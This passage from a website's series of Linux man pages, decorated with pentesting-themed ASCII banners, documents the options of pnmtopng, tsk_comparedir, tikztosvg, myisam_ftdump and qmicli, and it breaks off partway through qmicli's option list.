This specifies the transparency (alpha) channel of the image. You supply the transparency channel as a standard PGM transparency mask (see the PGM(1) specification. pnmtopng does not necessarily represents the transparency information as a transparency channel in the PNG format. If it can represent the transparency information through a palette, it will do so in order to make a smaller PNG file. pnmtopng even sorts the palette so it can omit the opaque colors from the transparency part of the palette and save space for the palette.

**-transparent=**color
pnmtopng marks the specified color as transparent in the PNG image.

Specify the color (color) as described for the argument of the pnm_parsecolor() library routine . E.g. red or rgb:ff/00/0d. If the color you specify is not present in the image, pnmtopng selects instead the color in the image that is closest to the one you specify. Closeness is measured as a Cartesian distance between colors in RGB space. If multiple colors are equidistant, pnmtopng chooses one of them arbitrarily.

However, if you prefix your color specification with “=”, e.g.

                    -transparent =red

only the exact color you specify will be transparent. If that color does not appear in the image, there will be no transparency. pnmtopng issues an information message when this is the case.

**-background=**color
Causes pnmtopng to create a background color chunk in the PNG output which can be used for subsequent transparency channel or transparent color conversions. Specify color the same as for -transparent.

**-palette=**palettefile
This option specifies a palette to use in the PNG. It forces pnmtopng to create the paletted (colormapped) variety of PNG – if that isn’t possible, pnmtopng fails. If the palette you specify doesn’t contain exactly the colors in the image, pnmtopng fails. Since pnmtopng will automatically generate a paletted PNG, with a correct palette, when appropriate, the only reason you would specify the -palette option is if you care in what order the colors appear in the palette. The PNG palette has colors in the same order as the palette you specify.

You specify the palette by naming a PPM file that has one pixel for each color in the palette.

Alternatively, consider the case that have a palette and you want to make sure your PNG contains only colors from the palette, approximating if necessary. You don’t care what indexes the PNG uses internally for the colors (i.e. the order of the PNG palette). In this case, you don’t need -palette. Pass the Netpbm input image and your palette PPM through pnmremap. Though you might think it would, using -palette in this case wouldn’t even save pnmtopng any work.

**-gamma=**value
Causes pnmtopng to create a gAMA chunk. This information helps describe how the color values in the PNG must be interpreted. Without the gAMA chunk, whatever interprets the PNG must get this information separately (or just assume something standard). If your input is a true PPM or PGM image, you should specify -gamma=.52. But sometimes people generate images which are ostensibly PPM except the image uses a different gamma transfer function than the one specified for PPM. A common case of this is when the image is created by simple hardware that doesn’t have digital computational ability. Also, some simple programs that generate images from scratch do it with a gamma transfer in which the gamma value is 1.0.

-hist
Use this parameter to create a chunk that specifies the frequency (or histogram) of the colors in the image.

**-text=**filename
This option lets you include arbitrary text strings in the PNG output, as tEXt chunks.

filename is the name of a file that contains your text strings.

The output contains a distinct tEXt chunk for each entry in the file.

Here is an example of a text string file:

	Title           PNG file
	Author          John Doe
	Description     how to include a text chunk
                        PNG file
	"Creation Date" 2015-may-11
	Software        pamtopng

The file is divided into entries, each entry comprising consecutive lines of text. The first line of an entry starts in the first column (i.e. the first column is not white space) and every other line has white space in the first column. The first entry starts in the first line, so it is not valid for the first line of the file to have white space in its first column.

The first word in an entry is the key of the text string (e.g. ‘Title’). It begins in column one of the line and continues up to, but not including, the first delimiter character or the end of the line, whichever is first. You can enclose the key in double quotes in which case the key can consists of multiple words. The quotes are not part of the key. The text string per se begins after the key and any delimiter characters after it, plus the text in subsequent continuation lines.

There is no limit on the length of a file line or entry or key or text string. There is no limit on the number of entries.

**-ztxt=**filename
The same as -text, except the text string is compressed in the PNG output. pnmtopng uses zTXt chunks instead of a tEXt chunks, unless the key for the text string starts with ‘A’ or ‘T’. This odd exception exists for backward compatibility; we don’t know why the program was originally designed this way, except that the distinction was meant to roughly identify the keys ‘Author’ and ‘Title’.

**-rgb=**chroma_list
This option specifies how red, green, and blue component values of a pixel specify a particular color, by telling the chromaticities of those 3 primary illuminants and of white (i.e. full strength of all three).

The chroma_list value is a blank-separated list of 8 floating point decimal numbers: the CIE-1931 X and Y chromaticities (in that order) of each of white, red, green, and blue, in that order.

This information goes into the PNG’s cHRM chunk.

In a shell command, make sure you use quotation marks so that the blanks in chroma_list don’t make the shell see multiple command arguments.

This option was new in Netpbm 10.30 (October 2005). Before that, the option -chroma does the same thing, but with slightly different syntax.

-size="x y unit"
This option determines the aspect ratio of the individual pixels of your image as well as the physical resolution of it.

unit is either 0 or 1. When it is 1, the option specifies the physical resolution of the image in pixels per meter. For example, -size=“10000 15000 1” means that when someone displays the image, he should make it so that 10,000 pixels horizontally occupy 1 meter and 15,000 pixels vertically occupy one meter. And even if he doesn’t take this advice on the overall size of the displayed image, he should at least make it so that each pixel displays as 1.5 times as high as wide.

When unit is 0, that means there is no advice on the absolute physical resolution; just on the ratio of horizontal to vertical physical resolution.

This information goes into the PNG’s pHYS chunk.

When you don’t specify -size, pnmtopng creates the image with no pHYS chunk, which means square pixels of no absolute resolution.

This option was new in Netpbm 10.30 (October 2005). Before that, the option -phys does the same thing, but with slightly different syntax.

**-srgbintent=**intent
This asserts that the input is a pseudo-Netpbm image that uses an sRGB color space (unlike true Netpbm) and indicates how you intend for the colors to be rendered. It causes pnmtopng to include an sRGB chunk in the PNG image that specifies that intent, so see the PNG documentation for more information on what this really means.

intent is one of:

  • perceptual

  • relativecolorimetric

  • saturation

  • absolutecolorimetric

This option was new in Netpbm 10.71 (June 2015). Before that, pnmtopng never generates an sRGB chunk.

-modtime="[yy]yy-mm-dd hh:mm:ss**"**
This option allows you to specify the modification time value to be placed in the PNG output. You can specify the year parameter either as a two digit or four digit value.

This option was new in Netpbm 10.30 (October 2005). Before that, the option -time does the same thing, but with slightly different syntax.

**-filter=**n
This option is obsolete. Before Netpbm 10.22 (April 2004), this was the only way to specify a row filter. It specifies a single type of row filter, by number, that pnmtopng must use on each row.

Use -nofilter, -sub, -up, -avg, and -paeth in current Netpbm.

-nofilter
-sub
-up
-avg
-paeth
Each of these options permits pnmtopng to use one type of row filter. pnmtopng chooses whichever of the permitted filters it finds to be optimal. If you specify none of these options, it is the same as specifying all of them – pnmtopng uses any row filter type it finds optimal.

These options were new with Netpbm 10.22 (April 2004). Before that, you could use the -filter option to specify one permitted row filter type. The default, when you specify no filter options, was the same.

**-compression=**n
This option sets set the compression level of the zlib compression. Select a level from 0 for no compression (maximum speed) to 9 for maximum compression (minimum speed).

The default is the default of the zlib library.

**-comp_mem_level=**n
This option sets the memory usage level of the zlib compression. Select a level from 1 for minimum memory usage (and minimum speed) to 9 for maximum memory usage (and speed).

The default is the default of the zlib library.

This option was new in Netpbm 10.30 (October 2005).

-comp_strategy={huffman_only|filtered}
This options sets the compression strategy of the zlib compression. See Zlib documentation for information on what these strategies are.

The default is the default of the zlib library.

This option was new in Netpbm 10.30 (October 2005).

-comp_method=deflated
This option does nothing. It is here for mathematical completeness and for possible forward compatibility. It theoretically selects the compression method of the zlib compression, but the Z library knows only one method today, so there’s nothing to choose.

The default is the default of the zlib library.

This option was new in Netpbm 10.30 (October 2005).

**-comp_window_bits=**N
This option tells how big a window the zlib compression algorithm uses. The value is the base 2 logarithm of the window size in bytes, so 8 means 256 bytes. The value must be from 8 to 15 (i.e. 256 bytes to 32K).

See Zlib documentation for details on what this window size is.

The default is the default of the zlib library.

This option was new in Netpbm 10.30 (October 2005).

-comp_buffer_size=N
This option determines in what size pieces pnmtopng does the zlib compression. One compressed piece goes in each IDAT chunk in the PNG. So the bigger this value, the fewer IDAT chunks your PNG will have. Theoretically, this makes the PNG smaller because 1) you have less per-IDAT-chunk overhead, and 2) the compression algorithm has more data to work with. But in reality, the difference will probably not be noticeable above about 8K, which is the default.

The value n is the size of the compressed piece (i.e. the compression buffer) in bytes.

This option was new in Netpbm 10.30 (October 2005).

-force
When you specify this, pnmtopng limits its optimizations. The resulting PNG output is as similar to the Netpbm input as possible. For example, the PNG output will not be paletted and the transparency channel will be represented as a full transparency channel even if the information could be represented more succinctly with a transparency chunk.

-libversion
This option causes pnmtopng to display version information about itself and the libraries it uses, in addition to all its normal function. Do not confuse this with the Netpbm common option -version, which causes the program to display version information about the Netpbm library and do nothing else.

You can’t really use this option in a program that invokes pnmtopng and needs to know which version it is. Its function has changed too much over the history of pnmtopng. The option is good only for human eyes.

SEE ALSO

pngtopam(1) , pamtopng(1) , pnmremap(1) , pnmgamma(1) , pnm(1)

For information on the PNG format, see http://schaik.com/png .

AUTHOR

Copyright (C) 1995-1997 by Alexander Lehmann and Willem van Schaik.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmtopng.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1395 - Linux cli command tsk_comparedir

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tsk_comparedir and provides detailed information about the command tsk_comparedir, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tsk_comparedir.

NAME 🖥️ tsk_comparedir 🖥️

compare the contents of a directory with the contents of an image or local device.

SYNOPSIS

tsk_comparedir [-vV] [-n start_inum ] [ -f fstype ] [ -i imgtype ] [ -b dev_sector_size ] [ -o sector_offset ] image [images] comparison_directory

DESCRIPTION

tsk_comparedir compares the contents of image to the contents of comparison_directory. This can be useful for detecting rootkits and when testing. Rootkits can be detected by comparing the contents of a local directory and a local raw device. The rootkits typically don’t hide data when it is read directly from the raw device.

The arguments are as follows:

-o sector_offset
Sector offset for a partition in the image or device to compare with.

-n start_inum
Starting inum for a directory in the image to start the comparison at.

-v
verbose output to stderr

-V
Print version

-f fstype
Specify the file system type. Use ‘-f list’ to list the supported file system types. If not given, autodetection methods are used.

-i imgtype
The format of the image file, such as raw. Use ‘-i list’ to list the supported types. If not given, autodetection methods are used.

-b dev_sector_size
The size (in bytes) of the device sectors. If not given, autodetection methods are used.

image [images]
The disk or partition image to read, whose format is given with ‘-i’. Multiple image file names can be given if the image is split into multiple segments. If only one image file is given, and its name is the first in a sequence (e.g., as indicated by ending in ‘.001’), subsequent image segments will be included automatically.

EXAMPLES

To compare the directories in image.dd to those in directory:

# tsk_comparedir ./image.dd ./directory

AUTHOR

Brian Carrier <carrier at sleuthkit dot org>

Send documentation updates to <doc-updates at sleuthkit dot org>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1396 - Linux cli command tikztosvg

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tikztosvg and provides detailed information about the command tikztosvg, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tikztosvg.

NAME 🖥️ tikztosvg 🖥️

Render TikZ diagrams to SVG.

SYNOPSIS

tikztosvg [OPTION]… INPUT_PATH

DESCRIPTION

The tikztosvg(1) command renders TikZ diagrams to SVG.

If INPUT_PATH is set to - the input will be read from stdin.

OPTIONS

-o, –output=OUTPUT_PATH

Write output to file OUTPUT_PATH. If set to - the output will be written to stdout. Defaults to the base name of the input file suffixed with the .svg extension. The file is resolved relative to the working directory.

-p, –package=+PACKAGE

Include \usepackage{PACKAGE} when rendering the diagram. The tikz, tikz-cd, pgfplots, amsmath and amssymb packages are always included by default.

-l, –library=+_LIBRARY

Include \usetikzlibrary{LIBRARY} when rendering the diagram.

-q, –quiet

Silence application log messages and script warnings.

–lualatex

Use LuaTeX as the TeX engine. LuaTeX is already the default, so this option doesn’t really do much.

–xelatex

Use XeTeX as the TeX engine.

–pdflatex

Use pdfTeX as the TeX engine.

-h, –help

Print a help message.

-v, –version

Prints version information.

ENVIRONMENT

tikztosvg requires XeTeX and pdf2svg to be installed. Make sure any additional LaTeX packages are installed before using them in a diagram.

EXIT STATUS

0

Success.

1

Failure (syntax or usage error; configuration error).

[n]

Failure (document processing failure).

AUTHORS

tikztosvg was written by Pablo

pdf2svg was written by David Barton

and Matthew Flaschen

RESOURCES

Git source repository on sourcehut

<https://git.sr.ht/~pablo-pie/tikztosvg>

Bug tracker

<https://todo.sr.ht/~pablo-pie/tikztosvg>

CTAN package

<https://www.ctan.org/pkg/tikztosvg>

TeXLive

<https://tug.org/texlive/>

LuaTeX

<http://luatex.org/>

XeTeX

<http://xetex.sourceforge.net/>

pdfTeX <https://www.tug.org/applications/pdftex/>

COPYING

Copyright (C) 2021 Pablo. Free use of this software is granted under the terms of the GPL-3.0 License.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1397 - Linux cli command myisam_ftdump

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command myisam_ftdump and provides detailed information about the command myisam_ftdump, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the myisam_ftdump.

NAME 🖥️ myisam_ftdump 🖥️

display full-text index information

SYNOPSIS

myisam_ftdump [options] tbl_name index_num

DESCRIPTION

myisam_ftdump displays information about FULLTEXT indexes in MyISAM tables. It reads the MyISAM index file directly, so it must be run on the server host where the table is located. Before using myisam_ftdump, be sure to issue a FLUSH TABLES statement first if the server is running.

myisam_ftdump scans and dumps the entire index, which is not particularly fast. On the other hand, the distribution of words changes infrequently, so it need not be run often.

Invoke myisam_ftdump like this:

shell> myisam_ftdump [options] tbl_name index_num

The tbl_name argument should be the name of a MyISAM table. You can also specify a table by naming its index file (the file with the .MYI suffix). If you do not invoke myisam_ftdump in the directory where the table files are located, the table or index file name must be preceded by the path name to the table’s database directory. Index numbers begin with 0.

Example: Suppose that the test database contains a table named mytexttablel that has the following definition:

CREATE TABLE mytexttable ( id INT NOT NULL, txt TEXT NOT NULL, PRIMARY KEY (id), FULLTEXT (txt) );

The index on id is index 0 and the FULLTEXT index on txt is index 1. If your working directory is the test database directory, invoke myisam_ftdump as follows:

shell> myisam_ftdump mytexttable 1

If the path name to the test database directory is /usr/local/mysql/data/test, you can also specify the table name argument using that path name. This is useful if you do not invoke myisam_ftdump in the database directory:

shell> myisam_ftdump /usr/local/mysql/data/test/mytexttable 1

You can use myisam_ftdump to generate a list of index entries in order of frequency of occurrence like this:

shell> myisam_ftdump -c mytexttable 1 | sort -r

myisam_ftdump supports the following options:

·

–help, -h -?

Display a help message and exit.

·

–count, -c

Calculate per-word statistics (counts and global weights).

·

–dump, -d

Dump the index, including data offsets and word weights.

·

–length, -l

Report the length distribution.

·

–stats, -s

Report global index statistics. This is the default operation if no other operation is specified.

·

–verbose, -v

Verbose mode. Print more output about what the program does.

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1398 - Linux cli command qmicli

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command qmicli and provides detailed information about the command qmicli, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the qmicli.

NAME 🖥️ qmicli 🖥️

Control QMI devices

DESCRIPTION

Usage:

qmicli [OPTION?] - Control QMI devices

Help Options:

-h, –help
Show help options

–help-all
Show all help options

–help-dms
Show Device Management Service options

–help-nas
Show Network Access Service options

–help-wds
Show Wireless Data Service options

–help-pbm
Show Phonebook Management options

–help-pdc
Show platform device configurations options

–help-uim
Show User Identity Module options

–help-sar
Show Specific Absorption Rate options

–help-wms
Show Wireless Messaging Service options

–help-wda
Show Wireless Data Administrative options

–help-voice
Show Voice Service options

–help-loc
Show location options

–help-qos
Show Quality of Service options

–help-gas
Show General Application Service options

–help-gms
Show General Modem Service options

–help-dsd
Show Data System Determination options

–help-dpm
Show Data Port Mapper Service options

–help-fox
Show Foxconn Modem Service options

–help-atr
Show AT Relay Service options

–help-imsp
Show IP Multimedia Subsystem Presence Service options

–help-imsa
Show IP Multimedia Subsystem Application Service options

–help-ims
Show IP Multimedia Subsystem Settings Service options

–help-link-management
Show link management specific options

–help-qmiwwan
Show qmi_wwan driver specific options

DMS options:

–dms-get-ids
Get IDs

–dms-get-capabilities
Get capabilities

–dms-get-manufacturer
Get manufacturer

–dms-get-model
Get model

–dms-get-revision
Get revision

–dms-get-msisdn
Get MSISDN

–dms-get-power-state
Get power state

–dms-uim-set-pin-protection=[(PIN|PIN2),(disable|enable),(current PIN)]
Set PIN protection in the UIM

–dms-uim-verify-pin=[(PIN|PIN2),(current PIN)]
Verify PIN

–dms-uim-unblock-pin=[(PIN|PIN2),(PUK),(new PIN)]
Unblock PIN

–dms-uim-change-pin=[(PIN|PIN2),(old PIN),(new PIN)]
Change PIN

–dms-uim-get-pin-status
Get PIN status

–dms-uim-get-iccid
Get ICCID

–dms-uim-get-imsi
Get IMSI

–dms-uim-get-state
Get UIM State

–dms-uim-get-ck-status=[(pn|pu|pp|pc|pf)]
Get CK Status

–dms-uim-set-ck-protection=[(pn|pu|pp|pc|pf),(disable),(key)]
Disable CK protection

–dms-uim-unblock-ck=[(pn|pu|pp|pc|pf),(key)]
Unblock CK

–dms-get-hardware-revision
Get the HW revision

–dms-get-operating-mode
Get the device operating mode

–dms-set-operating-mode=[(Operating mode)]
Set the device operating mode

–dms-get-time
Get the device time

–dms-get-prl-version
Get the PRL version

–dms-get-activation-state
Get the state of the service activation

–dms-activate-automatic=[Activation Code]
Request automatic service activation

–dms-activate-manual=[SPC,SID,MDN,MIN]
Request manual service activation

–dms-get-user-lock-state
Get the state of the user lock

–dms-set-user-lock-state=[(disable|enable),(current lock code)]
Set the state of the user lock

–dms-set-user-lock-code=[(old lock code),(new lock code)]
Change the user lock code

–dms-read-user-data
Read user data

–dms-write-user-data=[(User data)]
Write user data

–dms-read-eri-file
Read ERI file

–dms-restore-factory-defaults=[(Service Programming Code)]
Restore factory defaults

–dms-validate-service-programming-code=[(Service Programming Code)]
Validate the Service Programming Code

–dms-set-firmware-id
Set firmware id

–dms-get-band-capabilities
Get band capabilities

–dms-get-factory-sku
Get factory stock keeping unit

–dms-list-stored-images
List stored images

–dms-select-stored-image=[modem#,pri#] where # is the index
Select stored image

–dms-delete-stored-image=[modem#|pri#] where # is the index
Delete stored image

–dms-get-firmware-preference
Get firmware preference

–dms-set-firmware-preference=[“key=value,…”]
Set firmware preference (required keys: firmware-version, config-version, carrier; optional keys: modem-storage-index, override-download=yes)

–dms-get-boot-image-download-mode
Get boot image download mode

–dms-set-boot-image-download-mode=[normal|boot-and-recovery]
Set boot image download mode

–dms-get-software-version
Get software version

–dms-set-fcc-authentication
Set FCC authentication

–dms-get-supported-messages
Get supported messages

–dms-hp-change-device-mode=[fastboot]
Change device mode (HP specific)

–dms-swi-get-current-firmware
Get Current Firmware (Sierra Wireless specific)

–dms-swi-get-usb-composition
Get current and supported USB compositions (Sierra Wireless specific)

–dms-swi-set-usb-composition=[#]
Set USB composition (Sierra Wireless specific)

–dms-foxconn-change-device-mode=[fastboot-ota|fastboot-online]
Change device mode (Foxconn specific)

–dms-foxconn-get-firmware-version=[firmware-mcfg-apps|firmware-mcfg|apps]
Get firmware version (Foxconn specific)

–dms-foxconn-set-fcc-authentication=[magic]
Set FCC authentication (Foxconn specific)

–dms-foxconn-set-fcc-authentication-v2=[magic-string,magic-number]
Set FCC authentication (Foxconn specific, v2)

–dms-get-mac-address=[wlan|bt]
Get default MAC address

–dms-reset
Reset the service state

–dms-noop
Just allocate or release a DMS client. Use with `–client-no-release-cid’ and/or `–client-cid'

NAS options:

–nas-get-signal-strength
Get signal strength

–nas-get-signal-info
Get signal info

–nas-get-tx-rx-info=[(Radio Interface)]
Get TX/RX info

–nas-get-home-network
Get home network

–nas-get-serving-system
Get serving system

–nas-get-system-info
Get system info

–nas-get-technology-preference
Get technology preference

–nas-get-preferred-networks
Get preferred networks

–nas-set-preferred-networks=[[MCCMNC,access_tech],…]
Set preferred networks list

–nas-get-system-selection-preference
Get system selection preference

–nas-set-system-selection-preference=[cdma-1x|cdma-1xevdo|gsm|umts|lte|td-scdma][,[automatic|manual=MCCMNC]]
Set system selection preference

–nas-network-scan
Scan networks

–nas-get-cell-location-info
Get Cell Location Info

–nas-force-network-search
Force network search

–nas-get-operator-name
Get operator name data

–nas-get-plmn-name=[mccmnc]
Get plmn name data

–nas-get-lte-cphy-ca-info
Get LTE Cphy CA Info

–nas-get-rf-band-info
Get RF Band Info

–nas-get-drx
Get DRX

–nas-get-supported-messages
Get supported messages

–nas-swi-get-status
Get status ((Sierra Wireless specific)

–nas-reset
Reset the service state

–nas-noop
Just allocate or release a NAS client. Use with `–client-no-release-cid’ and/or `–client-cid'

WDS options:

–wds-start-network=[“key=value,…”]
Start network (allowed keys: apn, 3gpp-profile, 3gpp2-profile, auth (PAP|CHAP|BOTH), username, password, autoconnect=yes, ip-type (4|6))

–wds-follow-network
Follow the network status until disconnected. Use with `–wds-start-network'

–wds-stop-network=[Packet data handle] OR [disable-autoconnect]
Stop network

–wds-get-current-settings
Get current settings

–wds-get-packet-service-status
Get packet service status

–wds-get-packet-statistics
Get packet statistics

–wds-get-data-bearer-technology
Get data bearer technology

–wds-get-current-data-bearer-technology
Get current data bearer technology

–wds-go-dormant
Make the active data connection go dormant

–wds-go-active
Make the active data connection go active

–wds-get-dormancy-status
Get the dormancy status of the active data connection

–wds-create-profile=["(3gpp|3gpp2)[,key=value,…]"]
Create new profile using first available profile index (optional keys: name, apn, pdp-type (IP|PPP|IPV6|IPV4V6), auth (NONE|PAP|CHAP|BOTH), username, password, context-num, no-roaming=yes, disabled=yes)

–wds-swi-create-profile-indexed=["(3gpp|3gpp2),#[,key=value,…]"]
Create new profile at specified profile index [Sierra Wireless specific] (optional keys: name, apn, pdp-type (IP|PPP|IPV6|IPV4V6), auth (NONE|PAP|CHAP|BOTH), username, password, context-num, no-roaming=yes, disabled=yes)

–wds-modify-profile=["(3gpp|3gpp2),#,key=value,…"]
Modify existing profile (optional keys: name, apn, pdp-type (IP|PPP|IPV6|IPV4V6), auth (NONE|PAP|CHAP|BOTH), username, password, context-num, no-roaming=yes, disabled=yes)

–wds-delete-profile=[(3gpp|3gpp2),#]
Delete existing profile

–wds-get-profile-list=[3gpp|3gpp2]
Get profile list

–wds-get-default-profile-number=[3gpp|3gpp2]
Get default profile number

–wds-set-default-profile-number=[(3gpp|3gpp2),#]
Set default profile number

–wds-get-default-settings=[3gpp|3gpp2]
Get default settings

–wds-get-autoconnect-settings
Get autoconnect settings

–wds-set-autoconnect-settings=[(enabled|disabled|paused)[,(roaming-allowed|home-only)]]
Set autoconnect settings (roaming settings optional)

–wds-get-supported-messages
Get supported messages

–wds-reset
Reset the service state

–wds-bind-data-port=[a2-mux-rmnet0-7|#]
Bind data port to controller device to be used with `–client-no-release-cid'

–wds-bind-mux-data-port=[“key=value,…”]
Bind qmux data port to controller device (allowed keys: mux-id, ep-type (undefined|hsusb|pcie|embedded|bam-dmux), ep-iface-number) to be used with `–client-no-release-cid'

–wds-set-ip-family=[4|6]
Set IP family

–wds-get-channel-rates
Get channel data rates

–wds-get-lte-attach-parameters
Get LTE attach parameters

–wds-get-max-lte-attach-pdn-num
Get the maximum number of LTE attach PDN

–wds-get-lte-attach-pdn-list
Get the list of LTE attach PDN

–wds-set-lte-attach-pdn-list=[#,#,…]
Set the list of LTE attach PDN

–wds-noop
Just allocate or release a WDS client. Use with `–client-no-release-cid’ and/or `–client-cid'

PBM options:

–pbm-get-all-capabilities
Get all phonebook capabilities

–pbm-noop
Just allocate or release a PBM client. Use with `–client-no-release-cid’ and/or `–client-cid'

PDC options:

–pdc-list-configs=[(platform|software)]
List all configs

–pdc-delete-config=[(platform|software),ConfigId]
Delete config

–pdc-activate-config=[(platform|software),ConfigId]
Activate config

–pdc-deactivate-config=[(platform|software),ConfigId]
Deactivate config

–pdc-load-config=[Path to config]
Load config to device

–pdc-monitor-refresh
Watch for refresh indications

–pdc-noop
Just allocate or release a PDC client. Use with `–client-no-release-cid’ and/or `–client-cid'

UIM options:

–uim-set-pin-protection=[(PIN1|PIN2|UPIN),(disable|enable),(current PIN)]
Set PIN protection

–uim-verify-pin=[(PIN1|PIN2|UPIN),(current PIN)]
Verify PIN

–uim-unblock-pin=[(PIN1|PIN2|UPIN),(PUK),(new PIN)]
Unblock PIN

–uim-change-pin=[(PIN1|PIN2|UPIN),(old PIN),(new PIN)]
Change PIN

–uim-read-transparent=[0xNNNN,0xNNNN,…]
Read a transparent file given the file path

–uim-get-file-attributes=[0xNNNN,0xNNNN,…]
Get the attributes of a given file

–uim-read-record=[“key=value,…”]
Read a record from given file (allowed keys: record-number, record-length, file ([0xNNNN-0xNNNN,…])

–uim-get-card-status
Get card status

–uim-get-supported-messages
Get supported messages

–uim-sim-power-on=[(slot number)]
Power on SIM card

–uim-sim-power-off=[(slot number)]
Power off SIM card

–uim-change-provisioning-session=[“key=value,…”]
Change provisioning session (allowed keys: session-type, activate, slot, aid)

–uim-get-slot-status
Get slot status

–uim-switch-slot=[(slot number)]
Switch active physical slot

–uim-monitor-slot-status
Watch for slot status indications

–uim-reset
Reset the service state

–uim-monitor-refresh-file=[0xNNNN,0xNNNN,…]
Watch for REFRESH events for given file paths

–uim-monitor-refresh-all
Watch for REFRESH events for any file

–uim-get-configuration
Get personalization status of the modem

–uim-depersonalization=[(feature),(operation),(control key)[,(slot number)]]
Deactivates or unblocks personalization feature

–uim-remote-unlock=[XX:XX:…]
Updates the SimLock configuration data

–uim-noop
Just allocate or release a UIM client. Use with `–client-no-release-cid’ and/or `–client-cid'

SAR options:

–sar-rf-get-state
Get RF state

–sar-rf-set-state=[(state number)]
Set RF state.

–sar-noop
